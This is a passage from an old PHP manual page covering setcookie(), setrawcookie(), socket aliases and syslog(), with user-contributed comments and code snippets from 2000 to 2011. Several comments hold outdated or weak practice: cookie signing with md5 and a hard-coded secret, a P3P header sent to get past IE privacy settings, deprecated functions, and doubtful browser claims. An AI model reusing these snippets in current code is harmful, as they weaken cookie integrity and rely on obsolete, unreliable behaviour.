                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        }else{
            header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        }
        return true;
    }
?>
jphansen at uga dot edu 22-Apr-2008 05:43
If you'd like to set a cookie for a prolonged time, here's an example for a cooking lasting 1 year, which passes seconds--60 seconds * 60 minutes * 24 hours * 365 days = 1 year--as the $expire argument.

<?php
setcookie($name, $value, time()+(60*60*24*365));
?>
isooik at gmail-antispam dot com 26-Feb-2008 05:18
Here's a more advanced version of the php setcookie() alternative function:

<?php

    /**
     * A better alternative (RFC 2109 compatible) to the php setcookie() function
     *
     * @param string Name of the cookie
     * @param string Value of the cookie
     * @param int Lifetime of the cookie
     * @param string Path where the cookie can be used
     * @param string Domain which can read the cookie
     * @param bool Secure mode?
     * @param bool Only allow HTTP usage?
     * @return bool True or false whether the method has successfully run
     */
    function createCookie($name, $value='', $maxage=0, $path='', $domain='', $secure=false, $HTTPOnly=false)
    {
        $ob = ini_get('output_buffering');

        // Abort the method if headers have already been sent, except when output buffering has been enabled
        if ( headers_sent() && (bool) $ob === false || strtolower($ob) == 'off' )
            return false;

        if ( !empty($domain) )
        {
            // Fix the domain to accept domains with and without 'www.'.
            if ( strtolower( substr($domain, 0, 4) ) == 'www.' ) $domain = substr($domain, 4);
            // Add the dot prefix to ensure compatibility with subdomains
            if ( substr($domain, 0, 1) != '.' ) $domain = '.'.$domain;

            // Remove port information.
            $port = strpos($domain, ':');

            if ( $port !== false ) $domain = substr($domain, 0, $port);
        }

        // Prevent "headers already sent" error with utf8 support (BOM)
        //if ( utf8_support ) header('Content-Type: text/html; charset=utf-8');

        header('Set-Cookie: '.rawurlencode($name).'='.rawurlencode($value)
                                    .(empty($domain) ? '' : '; Domain='.$domain)
                                    .(empty($maxage) ? '' : '; Max-Age='.$maxage)
                                    .(empty($path) ? '' : '; Path='.$path)
                                    .(!$secure ? '' : '; Secure')
                                    .(!$HTTPOnly ? '' : '; HttpOnly'), false);
        return true;
    }

?>

Regards,
Isaak
sebasg37 at gmail dot com 08-Feb-2008 07:10
As said, you can avoid the annoying "headers already sent in line..", using the ob_start() (function that serves as buffer) doing this:

<?php
ob_start();

echo "somtehing";
setcookie("cookie", "value"); /* if you didn't add the ob_start() function at this point the headers would have been already sent and the cookie have not been saved */

ob_end_flush();
?>
dave at shout411 dot com 03-Feb-2008 05:51
firefox will permit a short cookie length, eg +60
IE6 (all i tested as yet) will not create the cookie for +60
It will though accept +120 (two minutes)
d.
globexdesigns at gmail dot com 06-Dec-2007 04:45
Quotes are important when giving cookies parameters. If it looks like you can't delete your cookies, or cookies doesn't delete verify that both your cookies names are consistent.

<?php
setcookie(mycookie, $test, time() + 3600);
setcookie("mycookie","",time() - 3600);
?>

The above is wrong. But the examples are right:

<?php
setcookie("mycookie", $test, time() + 3600);
setcookie("mycookie","",time() - 3600);
?>

<?php
setcookie(mycookie, $test, time() + 3600);
setcookie(mycookie,"",time() - 3600);
?>
Alexander Fleischer 29-Nov-2007 08:48
Using $httponly also prevents the browser to pass a cookie to the java class loader. If a session cookie is required to access java .class / .jar files, loading of the applet will fail. In this case, session.cookie_httponly may be switched off.
soeren dot spreng at gmail dot com 22-Nov-2007 02:35
Beware: The Internet Explorer doesn't accept Cookies with an expiretime, which is to long. time() + time() for example doesn't work and the Cookie won't be created!
amalinovski at yahoo dot com 30-Oct-2007 12:29
Problem with setcookie() and UTF-8 recognizing by browser:
- If you want to use UTF-8 characters in your php file, some editors insert special bytes in the very beginning of the file. This prevents setcookie() from working, because these special bytes are sent to the browser BEFORE the header, and you get "Header already sent" error;
- If you delete these bytes (with a hex editor), setcookie() will work fine, but the browser will STOP recognizing UTF-8 encoding automatically! The user will need to set the encoding to UTF-8 manually to see your page correctly.
Here's how to get out of this:

Instead of:

<?php
setcookie("aaa", "bbb");
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

Write this:

<?php
header("Content-Type: text/html; charset=utf-8");
setcookie("aaa", "bbb");
?><html>
<head>
...

(make sure you have no special bytes before "<?")
mikeh at view22 dot com 19-Oct-2007 11:56
Observed: session cookies were expiring even though the session was still active.  (To test, set a cookie expiry of 5 seconds and keep hitting the page every second.  The session will expire and create a new SESSID after 5 seconds despite the fact that you hit the page only a second ago.)

Calling this function before starting the session fixed it.  It copies the cookie contents back to itself while forcing an update to the expiry time in the cookie.

<?php
function FreshenSessionCookie($lifetimeSeconds, $cookieName = 'PHPSESSID')
{
    if (isset($_COOKIE[$cookieName]))
        {
        $data = $_COOKIE[$cookieName];
        $timeout = time()+$lifetimeSeconds;
        setcookie($cookieName, $data,  $timeout);
        }
}
?>
cwillard at fastmail dot fm 22-Aug-2007 07:55
If you're looking to set multiple values in your cookie (rather than setting multiple cookies) you might find these useful.

<?php
function build_cookie($var_array) {
  if (is_array($var_array)) {
    foreach ($var_array as $index => $data) {
      $out.= ($data!="") ? $index."=".$data."|" : "";
    }
  }
  return rtrim($out,"|");
}

function break_cookie ($cookie_string) {
  $array=explode("|",$cookie_string);
  foreach ($array as $i=>$stuff) {
    $stuff=explode("=",$stuff);
    $array[$stuff[0]]=$stuff[1];
    unset($array[$i]);
  }
  return $array;
}
?>
Hopefully someone finds these useful.
bluewaterbob 12-Jul-2007 11:51
if you are having problems seeing cookies sometimes or deleting cookies sometimes, despite following the advice below, make sure you are setting the cookie with the domain argument. Set it with the dot before the domain as the examples show: ".example.com".  I wasn't specifying the domain, and finally realized I was setting the cookie when the browser url had the http://www.example.com and later trying to delete it when the url didn't have the www. ie. http://example.com. This also caused the page to be unable to find the cookie when the www. wasn't in the domain.  (When you add the domain argument to the setcookie code that creates the cookie, make sure you also add it to the code that deletes the cookie.)
jonathan dot bergeron at rve dot ulaval dot ca 24-May-2007 12:05
About the delete part, I found that Firefox only remove the cookie when you submit the same values for all parameters, except the date, which sould be in the past. Submiting blank values didn't work for me.

Example :
- set -

<?php setcookie( "name", "value", "future_timestamp", "path", "domain" ); ?>

- delete -
<?php setcookie( "name", "value", "past_timestamp", "path", "domain" ); ?>

Jonathan
anonIMouS 10-Apr-2007 01:42
This code sets cookie with Max-Age.
See to:
http://www.zend.com/zend/week/week198.php#Heading3
http://www.faqs.org/rfcs/rfc2109.html
<?php
function set_cookie($Name, $Value = '', $MaxAge = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false) {
  header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                        . (empty($MaxAge) ? '' : '; Max-Age=' . $MaxAge)
                        . (empty($Path)   ? '' : '; path=' . $Path)
                        . (empty($Domain) ? '' : '; domain=' . $Domain)
                        . (!$Secure       ? '' : '; secure')
                        . (!$HTTPOnly     ? '' : '; HttpOnly'), false);
}

# examples:
set_cookie("TestCookie", $value, 3600);  /* expire in 1 hour */
set_cookie("TestCookie", $value, 3600, "/~rasmus/", ".example.com", 1);
?>
Marcin Wiazowski 30-Mar-2007 12:08
'session.cookie_domain' should be set to empty string for all local domain names, not only for 'localhost' (but should not be empty for local IP addresses):

<?php
ini_set('session.cookie_domain', (strpos($_SERVER['HTTP_HOST'],'.') !== false) ? $_SERVER['HTTP_HOST'] : '');
?>
mike 26-Mar-2007 08:00
Be careful of using the same cookie name in subdirectories. Setting a simple cookie

<?php setcookie("region", $_GET['set_region']); ?>

both in the root / and for instance in this case /admin/ will create 2 cookies with different paths. In reading the cookies back only the first one is read regardless of path.
21-Mar-2007 02:40
if you only want to do something once per unique visitor, you can test if a cookie is set, and if not, set the cookie and perform the action. This being the poorman's version, it has a problem, where if a user is blocking cookies they will appear as a first time visitor each time. What you can do to avoid this is to set a test cookie first and check that it exists. If it exists, then check to see if your second cookie has been set. If the first one is set, but the second isn't, then you know this is a first time visitor.
gabe at fijiwebdesign dot com 25-Feb-2007 07:25
If you want to delete all cookies on your domain, you may want to use the value of:

<?php $_SERVER['HTTP_COOKIE'] ?>

rather than:

<?php $_COOKIE ?>

to dertermine the cookie names.
If cookie names are in Array notation, eg: user[username]
Then PHP will automatically create a corresponding array in $_COOKIE. Instead use $_SERVER['HTTP_COOKIE'] as it mirrors the actual HTTP Request header.

<?php

// unset cookies
if (isset($_SERVER['HTTP_COOKIE'])) {
    $cookies = explode(';', $_SERVER['HTTP_COOKIE']);
    foreach($cookies as $cookie) {
        $parts = explode('=', $cookie);
        $name = trim($parts[0]);
        setcookie($name, '', time()-1000);
        setcookie($name, '', time()-1000, '/');
    }
}

?>
08-Feb-2007 05:13
something that wasn't made clear to me here and totally confused me for a while was that domain names must contain at least two dots (.), hence 'localhost' is invalid and the browser will refuse to set the cookie! instead for localhost you should use false.

to make your code work on both localhost and a proper domain, you can do this:

<?php

$domain = ($_SERVER['HTTP_HOST'] != 'localhost') ? $_SERVER['HTTP_HOST'] : false;
setcookie('cookiename', 'data', time()+60*60*24*365, '/', $domain, false);

?>
brian dot powell at insetsolutions dot com 05-Feb-2007 06:35
Here is problem I ran into during a recent bout with IE7 and cookies.  IE will not delete a cookie value if the time is set to the past.  It will hold the value no matter how far in the past you set the "expire" value.  IE7 is the only browser I have had problems with - so here is the solution I came up with.

<?PHP

//check to see how to set the cookie
$Browsertype = $_SERVER['HTTP_USER_AGENT'];
$Parts = explode(" ",$Browsertype);
$MSIE = array_search("MSIE",$Parts);

if($MSIE)
{
setcookie("name", "", time()+20000);
}
else
{
setcookie("name", "", time()-20000, "/", ".domain.com" );
}

?>
ahmetantmen at msn dot com 19-Jan-2007 03:36
You can be sure about the cookie files contents weren't changed.

<?php

$Seperator = '--';
$uniqueID = 'Ju?hG&F0yh9?=/6*GVfd-d8u6f86hp';
$Data = 'Ahmet '.md5('123456789');

setcookie('VerifyUser', $Data.$Seperator.md5($Data.$uniqueID));

if ($_COOKIE) {
   $Cut = explode($Seperator, $_COOKIE['VerifyUser']);
   if (md5($Cut[0].$uniqueID) === $Cut[1]) {
       $_COOKIE['VerifyUser'] = $Cut[0];
   } else {
       die('Cookie data is invalid!!!');
   }
}

echo $_COOKIE['VerifyUser'];

?>

Create a unique id for your site and create a hash with md5($Data.$uniqueID). Attacker can understant that it must be re-hash after change cookie content.
But doesn't. Because cannot guess your unique id. Seperate your hash and data with seperator and send that cookie. Control that hash of returned value and your unique id's is same returned hash. Otherwise you have to stop attack. Sorry for my poor english!
stovenator at gmail dot com 12-Jan-2007 06:54
If you are having issues with IE7 and setcookie(), be sure to verify that the cookie is set via http for http sites, and https for https site.

Also, if the time is incorrect on your server, IE7 will also disallow those cookies from being set.
05-Jan-2007 01:33
If you ever find yourself in a situation where you need to overwrite a non-PHP application's session cookie, you can do that with the following line:

<?php
header("Set-Cookie: SIDNAME=$overwrite; path=/; secure");
?>

I couldn't get setcookie() to do this for all major web browsers, but manually sending the header did the trick. Note: Remove secure if you aren't mandating SSL connections.
felixcca at yahoo dot ca 31-Dec-2006 09:36
I found out recently that assigning FALSE to a cookie will destroy it.

I thought it might interest some of you.
kurtubba at gmail dot com 13-Dec-2006 05:12
When setting a top level domain ex ".mydomain.com" you must add the secure arg so it should look like

<?php
setcookie("TestCookie", $value, time()+3600, "/", ".example.com", 0);
?>

ignoring the secure arg makes IE ignores the cookie
to get the top level domain use

<?php
$myDomain = ereg_replace('^[^\.]*\.([^\.]*)\.(.*)$', '\1.\2',$_SERVER['HTTP_HOST']);
?>

to avoid localhost switch use

<?php
$phpCkDmn = $_SERVER['HTTP_HOST'] != "localhost" ? $myDomain : false;
?>
paul nospam AT nospam sitepoint dot com 06-Dec-2006 08:59
Note when setting "array cookies" that a separate cookie is set for each element of the array.

On high traffic sites, this can substantially increase the size of subsequent HTTP requests from clients (including requests for static content on the same domain).

More importantly though, the cookie specification says that browsers need only accept 20 cookies per domain.  This limit is increased to 50 by Firefox, and to 30 by Opera, but IE6 and IE7 enforce the limit of 20 cookie per domain.  Any cookies beyond this limit will either knock out an older cookie or be ignored/rejected by the browser.
hansel at gretel dot com 06-Nov-2006 08:12
The following code snippet combines abdullah's and Charles Martin's examples into a powerful combination function (and fixes at least one bug in the process):

<?php
  function set_cookie_fix_domain($Name, $Value = '', $Expires = 0, $Path = '', $Domain = '', $Secure = false, $HTTPOnly = false)
  {
    if (!empty($Domain))
    {
      // Fix the domain to accept domains with and without 'www.'.
      if (strtolower(substr($Domain, 0, 4)) == 'www.')  $Domain = substr($Domain, 4);
      $Domain = '.' . $Domain;

      // Remove port information.
      $Port = strpos($Domain, ':');
      if ($Port !== false)  $Domain = substr($Domain, 0, $Port);
    }

    header('Set-Cookie: ' . rawurlencode($Name) . '=' . rawurlencode($Value)
                          . (empty($Expires) ? '' : '; expires=' . gmdate('D, d-M-Y H:i:s', $Expires) . ' GMT')
                          . (empty($Path) ? '' : '; path=' . $Path)
                          . (empty($Domain) ? '' : '; domain=' . $Domain)
                          . (!$Secure ? '' : '; secure')
                          . (!$HTTPOnly ? '' : '; HttpOnly'), false);
  }
?>

Basically, if the domain parameter is supplied, it is converted to support a broader range of domains.  This behavior may or may not be desireable (e.g. could be a security problem depending on the server) but it makes cookie handling oh-so-much-nicer (IMO).
adruff at gmail dot com 05-Aug-2006 10:14
If you intend to use persistent cookies (vice session cookies that are deleted when the browser is closed) be aware:
1) Firefox appears to require that you include all paramaters, or it will ignore the expiration and treat the cookie as a session cookie
2) My version of firefox (1.5.0.6) defaults to 'keep cookies until i close firefox' , which essentially makes every cookie a session cookie. This of course sucks for devs, but i suppose is supposed to be a security feature for the end user. If the user wants to configure firefox to respect the expiration date and retain cookies beyond the session, the user must change it to 'keep cookies until they expire'.
gareth at gw126 dot com 05-Jun-2006 07:38
You can use cookies to prevent a browser refresh repeating some action from a form post... (providing the client is cookie enabled!)

<?php
//Flag up repeat actions (like credit card transaction, etc)
if(count($_POST)>0) {
    $lastpost= isset($_COOKIE['lastpost']) ? $_COOKIE['lastpost'] : '';
    if($lastpost!=md5(serialize($_POST))) {
        setcookie('lastpost', md5(serialize($_POST)));
        $_POST['_REPEATED']=0;
    } else {
        $_POST['_REPEATED']=1;
    }
}

//At this point, if $_POST['_REPEATED']==1, then  the user
//has hit the refresh button; so don't do any actions that you don't
//want to repeat!
?>

Hope that helps :)

Gareth
simon at ruderich dot com 01-Aug-2005 02:21
If you want to delete a session cookie, you can do it with this code:

<?php
  session_start();

  // many code

  $sessionName = session_name();
  $sessionCookie = session_get_cookie_params();

  session_destroy();

  setcookie($sessionName, false, $sessionCookie['lifetime'], $sessionCookie['path'], $sessionCookie['domain'], $sessionCookie['secure']);
 ?>

This works also well if the session cookie params or the session name were changed.
terry at scribendi dot com 08-May-2005 07:07
A few comments have suggested using serialize() to set object or array data into a cookie.  There are a couple of reasons to be carefull with that technique:

Security: If the cookie is human readable, then it is also fairly easy for end users to play around with it.  Wrapping your cookie setting and getting in an encryption routine will prevent tampering, and make sure that your cookies don't make any sense to any client-side exploits or other sites they get sent to thanks to browser bugs.

Bulk: If you serialize even a fairly simple class, then you get a lot of data.  Large cookies will make browser requests fat and slow, and some browsers have a limit on cookie size, so think about what data you really need to persist, and create __sleep() and __wakeup() methods to package the data into the shortest possible form.  You can get better and faster results when you write your own __sleep() and __wakup() to implode() or pack() your data, than by using zlib compress() on the serialized object.
Carl V 07-Apr-2005 08:29
If you want to delete all the cookies set by your domain, you may run the following:

<?php
$cookiesSet = array_keys($_COOKIE);
for ($x=0;$x<count($cookiesSet);$x++) setcookie($cookiesSet[$x],"",time()-1);
?>

Very useful when doing logout scripts and the cookie name may have changed (long story).
Alchaemist 14-Mar-2005 03:36
setcookie + header Location + IIS 5 = Trouble

It took me a long time to figure out what was causing a missing cookie in one system while it worked perfectly in another...

See this one: http://support.microsoft.com/kb/q176113/

In short, this WILL NEVER WORK IN IIS 5:
<?php
header("Pragma: no-cache");
header('Location: http://www.example.com/');
setcookie('AA','1',0,'/');
setcookie('BB','2',time() + 24 * 3600,'/');
?>

You will ONLY get the Location Header, everything else will be "cut out" by IIS 5 CGI implementation.

Solutions:
1- Migrate to Apache/IIS6/Whatever
2- Use a Non Parsed Header Script (nph-*.php)
3- Try with header('Refresh: 0; $URL');

I hope this helps somebody not to spend hours knocking his/her head.

Alchaemist
apex at xepa dot nl 24-Nov-2003 06:59
Note on setting cookies allowing access to sites:

If you are not using something "personal" from the computer that you are sending the cookie too watch out.  Via javascript it is possible to steal cookies from other users.  Thus allowing the stealer to login to your site as another user that might not have access otherwise.  Try to add something like the user's ip in the cookie and allowing access from that ip only with the stored cookie data.

[Editor's note: ... or simply use sessions. You can't be sure that the visitor will use the same IP the next visit. Not even on the next request (thanks to proxy servers)]
Jörg Aldinger 30-Sep-2003 04:13
When using your cookies on a webserver that is not on the standard port 80, you should NOT include the :[port] in the "Cookie domain" parameter, since this would not be recognized correctly.
I had the issue working on a project that runs on multiple servers (development, production, etc.). One of the servers is running on a different port (together with other websites that run on the same server but on different ports).
dave at fubra dot com 09-Sep-2003 12:36
There are several characters that dont work correctly if part of the cookie name, I in particular ran into problems using = as part of the cookie name ie/

<?php setcookie('dE4fR=', $foo); ?>

this was as a result of base64_encode() ing a variable to use as the name. The cookie was being set fine but the = is stored as a little square character in the cookie which prevent proper retreival.

The solution for me was to use md5() instead of base64_encode() but any other method which avoids the = sign should also solve the problem
soreman at abv dot bg 11-Apr-2003 03:26
If you experience problems on Microsoft Information Server (IIS) when setting a cookie via PHP and when PHP is running as a CGI binary it is not setting the cookie. After spending many hours on what the problem is here is what happens:

When you invoke setcookie and redirect to another page you will not have your cookie set, because it seems that IIS doesn't set the cookie unless you actually send some contents to the browser. Therefore if you want to set a cookie and then redirect to another page you will have to do the redirection via JavaScript and/or HTML if you want your script to work on IIS.
mleer at sp dot nl 19-Dec-2002 02:50
P3P is a good idea. But.
IE 6 features an inadequate definition of third party cookies.
If your site is hosted on server A and your PHP stuff is coming in a framesetting from server B your setcookie-attempts will be blocked when default privacy settings are deployed. Your secondparty-cookie will be regarded as a thirdparty-cookie.

So what you do is not read the P3P-Internet Explorer 6-manual at MS but send a header like

<?php
header('P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"');
?>

before doing the setcookie-thing. This will enable your cookie to survive any IE-6 privacy settings.

You won't do this if you're working for some doubleclick institution, because if you do, you... you...well... you are not a very nice person!
robert at ourwebhome dot com 05-Dec-2001 03:41
Internet Exploer 6 now requires sites that set cookies to have P3P policies.

From the Microsoft page:
"Internet Explorer 6 implements advanced cookie filtering that is based on the Platform for Privacy Preferences (P3P) specification. By default, Internet Explorer 6 blocks third-party cookies that do not have a compact policy (a condensed computer-readable privacy statement) or third-party cookies that have a compact policy which specifies that personally identifiable information is used without your implicit consent. First-party cookies that have a compact policy which specifies that personally identifiable information is used without implicit consent are downgraded (deleted when you close Internet Explorer). First-party cookies that do not have a compact policy are leashed (restricted so that they can only be read in the first-party context)."

See:
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q260971&GSSNB=1

For more about P3P:
http://www.w3.org/P3P/
pfsockopen
setrawcookie
Network Functions


Send a cookie without urlencoding the cookie value

setcookie
socket_get_status
Network Functions
PHP Manual

setrawcookie

(PHP 5)

setrawcookie — Send a cookie without urlencoding the cookie value

Description

bool setrawcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

setrawcookie() is exactly the same as setcookie() except that the cookie value will not be automatically urlencoded when sent to the browser.

Parameters

For parameter information, see the setcookie() documentation.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.0 | The httponly parameter was added.

See Also

  • setcookie() - Send a cookie

User Contributed Notes

kexianbin at diyism dot com 28-Dec-2011 07:35
my php cookie value encode function:

<?php
function encode_cookie_value($value)
         {return strtr($value,
                       array_combine(str_split($tmp=",; \t\r\n\013\014"),
                                     array_map('rawurlencode', str_split($tmp))
                                    )
                      );
         }
setrawcookie('kk', encode_cookie_value('jk=jk?jk-/":jk;jk jk,jk'));
?>
Sebastian 29-Jun-2011 04:59
You really shouldn't use (un)serialize with cookies. An evil user could inject ANY code in your script.
lgb 01-Oct-2009 01:53
After having several problems with this cookie thing, I'm using base64_encode on the data I put into a cookie, so I can avoid problems, I had before. I tried to set up cookie with data created by serialize() from a PHP array, but it did not work to be able to get it back, after I modified it to use value of base64_encode(serialize(...)) to set up the cookie, and unserialize(base64_decode(..)) to get back the value, everything started to work.
Anonymous 10-Apr-2008 02:01
For PHP 4 systems you can use...
<?php
header('Set-Cookie: name=value');
?>

... but it seems to be difficult to obtain the results without PHP's automatic URL decoding :o(
subs at voracity dot org 12-Dec-2006 05:31
setrawcookie() isn't entirely 'raw'. It will check the value for invalid characters, and then disallow the cookie if there are any. These are the invalid characters to keep in mind: ',;<space>\t\r\n\013\014'.

Note that comma, space and tab are three of the invalid characters. IE, Firefox and Opera work fine with these characters, and PHP reads cookies containing them fine as well. However, if you want to use these characters in cookies that you set from php, you need to use header().
Brian 10-Mar-2006 11:56
Firefox is following the real spec and does not decode '+' to space...in fact it further encodes them to '%2B' to store the cookie.  If you read a cookie using javascript and unescape it, all your spaces will be turned to '+'.
To fix this problem, use setrawcookie and rawurlencode:

<?php
setrawcookie('cookie_name', rawurlencode($value), time()+60*60*24*365);
?>

The only change is that spaces will be encoded to '%20' instead of '+' and will now decode properly.
setcookie
socket_get_status
Network Functions


Alias of stream_get_meta_data

setrawcookie
socket_set_blocking
Network Functions
PHP Manual

socket_get_status

(PHP 4, PHP 5)

socket_get_status — Alias of stream_get_meta_data()

Description

This function is an alias of: stream_get_meta_data().

User Contributed Notes

gtk at linux dot online dot no 20-Feb-2002 11:48
Note that if you set the socket non-blocking via socket_set_blocking() you cannot check if the socket has timed out with this function.

Example:

$status = socket_get_status($fp);

if ($status['timed_out']) {
    echo "socket timed out\n";
}

The above condition will never be true even if the socket has timed out.

I'm not sure if this behaviour is just not documented or a bug. Anyways I'm posting it here because it took some time to figure out.
corruptNOSPAMPLEASE at mod dot net 24-Jan-2002 05:51
This function worked for me under 4.0.4pl1

bytes_left function will tell you how many bytes are left in the buffer of socket $fp. It assumes you didn't make $fp global

function bytes_left($fp) {

  $status = socket_get_status ($fp);
  $bytes = $status["unread_bytes"];
  return $bytes;
}
rawb at rawb dot org 11-Dec-2000 03:30
sockets created using socket(), which are mostly used for listening for connections, are not friendly to this function, you will not get your expected results (if you get any results at all)
setrawcookie
socket_set_blocking
Network Functions


Alias of stream_set_blocking

socket_get_status
socket_set_timeout
Network Functions
PHP Manual

socket_set_blocking

(PHP 4, PHP 5)

socket_set_blocking — Alias of stream_set_blocking()

Description

This function is an alias of: stream_set_blocking().

User Contributed Notes

steve at petabit dot com 19-Aug-2004 10:44
Versions of PHP below 4.3 will use socket_set_blocking() but will not understand stream_set_blocking().
socket_get_status
socket_set_timeout
Network Functions


Alias of stream_set_timeout

socket_set_blocking
syslog
Network Functions
PHP Manual

socket_set_timeout

(PHP 4, PHP 5)

socket_set_timeout — Alias of stream_set_timeout()

Description

This function is an alias of: stream_set_timeout().

User Contributed Notes

There are no user contributed notes for this page.
socket_set_blocking
syslog
Network Functions


Generate a system log message

socket_set_timeout
RRD
Network Functions
PHP Manual

syslog

(PHP 4, PHP 5)

syslog — Generate a system log message

Description

bool syslog ( int $priority , string $message )

syslog() generates a log message that will be distributed by the system logger.

For information on setting up a user defined log handler, see the syslog.conf (5) Unix manual page. More information on the syslog facilities and option can be found in the man pages for syslog (3) on Unix machines.

Parameters

priority

priority is a combination of the facility and the level. Possible values are:

syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message

message

The message to send, except that the two characters %m will be replaced by the error message string (strerror) corresponding to the present value of errno.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using syslog()

<?php
// open syslog, include the process ID and also send
// the log to standard error, and use a user defined
// logging mechanism
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0);

// some code

if (authorized_client()) {
    // do something
} else {
    // unauthorized client!
    // log the attempt
    $access = date("Y/m/d H:i:s");
    syslog(LOG_WARNING, "Unauthorized client: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
}

closelog();
?>

Notes

On Windows NT, the syslog service is emulated using the Event Log.

Note:

Use of LOG_LOCAL0 through LOG_LOCAL7 for the facility parameter of openlog() is not available in Windows.

See Also

  • openlog() - Open connection to system logger
  • closelog() - Close connection to system logger

User Contributed Notes

Antonio Lobato 11-May-2010 01:57
A word of warning; if you use openlog() to ready syslog() and your Apache threads accept multiple requests, you *must* call closelog() if Apache's error log is configured to write to syslog.  Failure to do so will cause Apache's error log to write to whatever facility/ident was used in openlog.

Example, in httpd.conf you have:

ErrorLog syslog:local7

and in php you do:

<?php
openlog("myprogram", 0, LOG_LOCAL0);
syslog("My syslog message");
?>

From here on out, this Apache thread will write ErrorLog to local0 and under the process name "myprogram" and not httpd!  Calling closelog() will fix this.
james dot ellis at gmail dot com 02-Dec-2007 08:26
If anyone is wondering why their log messages are appearing in multiple log files, here is one answer applying to *nix systems:

If your syslog.conf looks like this (assuming you use LOG_LOCAL0 for web app logging) :

local0.info    /var/log/web/info.log

This will collect *all* messages of LOG_INFO level and higher, i.e everything except debug messages

Try this instead to ensure that only messages of the named log level go into the relevant log file:

local0.=info    /var/log/web/info.log

Additionally, you may like to add this to ensure your messages don't end up in generic log files like "messages"  "all" "syslog" and "debug":

local0.none    /var/log/messages
local0.none    /var/log/debug
etc

saves disk space among other things - more at "man syslog.conf"
helly at php dot net 13-Apr-2007 05:49
If you are using syslog-ng and want errors send to syslog then use ini setting "error_log = syslog" and add something like the following to your syslog-ng.conf:

destination php { file("/var/log/php.log" owner(root) group(devel) perm(0620)); };
log { source(src); filter(f_php); destination(php); };
adam _at_ lockdownnetworks _dot_ com 10-Apr-2007 06:32
Be aware when using syslog() that if you set the timezone of environment to be something other than the standard, syslog() may log the time to the log(s) with the wrong time zone information. For example:

<?php

openlog('mylog', LOG_PID | LOG_ODELAY,LOG_LOCAL4);

putenv('TZ=UTC');
syslog(LOG_INFO, 'UTC Log line');

putenv('TZ=US/Pacific');
syslog(LOG_INFO, 'US/Pacific Log line');

closelog();

?>

Viewing the /usr/log/messages log will display these two lines:

Apr 11 01:25:39 hostname mylog[1400]: UTC Log line
Apr 10 18:25:39 hostname mylog[1400]: US/Pacific Log line

Adam.
Torsten 23-Apr-2004 06:27
I had a problem trying to issue a syslog message with IIS 5.1 under Windows XP. The function call seemed to succeed, but the event viewer showed that no entry was made.
Finally I found out that the user account used for the webserver (IUSR_<Computername>) did not have enough permissions to issue syslog alerts. I changed this by adding this user to the Users group instead of only Guest.
daniele dot patoner at biblio dot unitn dot it 06-Nov-2003 11:00
This work for me, to redirect  logs to a separate syslog file

put this line in your /etc/syslog.conf :

local0.debug   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

php example:

<?php
define_syslog_variables();
openlog("TextLog", LOG_PID, LOG_LOCAL0);

$data = date("Y/m/d H:i:s");
syslog(LOG_DEBUG,"Messagge: $data");

closelog();
?>
gregj at pdxperts dot com 28-Jul-2003 05:05
The message string sent to the log file is limited to 500 characters.
monte at ispi dot net 03-Jul-2003 11:05
If you have php.ini setup to send PHP errors to syslog, they will all get dumped into /var/log/messages (at least it does with RedHat 9 by default). I wanted to figure out how to get PHP errors to go to their own syslog file.

After some trial and error, I figured out what facility and priority PHP uses, which is "user.notice". So, to get your PHP errors going to a separate syslog file, put this line in your /etc/syslog.conf :

user.notice   /var/log/php.log

Then restart syslogd:

/etc/init.d/syslog restart

Why PHP uses "user" as the facility I'm not sure, probably because it's the only one that works under Windows?

Monte
nospam \100 jraxis com (that's right!) 31-Mar-2002 08:32
This *does* actually goto the system log as configured in /etc/syslog.conf (such as /var/log/messages), it doesn't goto Apache's ErrorLog (such as /var/log/httpd/error_log). At least under my Debian Potato with Apache 1.3.23.

Use error_log() to be sure it gets into Apache's ErrorLog.
dpreece at paradise dot net dot nz 29-Jan-2002 04:08
To set up a custom log file via the syslog daemon (FreeBSD in this case)...

Add to /etc/syslog.conf a line that says all errors from the httpd process are to go to a file called (for example) /var/log/httpd-php.log

!httpd
*.*   {tab}   /var/log/httpd-php.log

Note the tab, being a tab character! Next create a blank file to be written to. I'm sure there are 1e+6 ways to do this, but I choose

# cat > httpd-php.log << EOF
? EOF

Finally find your syslog daemon and send it a sighup to inform it of the change:

# ps ax | grep syslogd
  133  ??  Ss     0:07.23 syslogd -s
# kill -1 133

Et voila! Php syslog calls will now arrive in /var/log/httpd-php.log
mavetju at chello dot nl 22-Jan-2001 06:11
With FreeBSD I can use: syslog(LOG_INFO,"test");

BSD/OS does not support this, I had to use the literal values for the priority (158: local3.info):
syslog(158,"test");
gherson at snet dot net 20-Dec-2000 01:09
Example of where to look for syslog's output:   /var/log/httpd/access_log
(on Red Hat Linux Secure Server v6.2).
rcgraves+php at brandeis dot edu 17-Feb-2000 12:51
For the-header-file-enabled:

man 3 syslog defines the priorities, but not the integer values. For that you'll need to read your system header file.

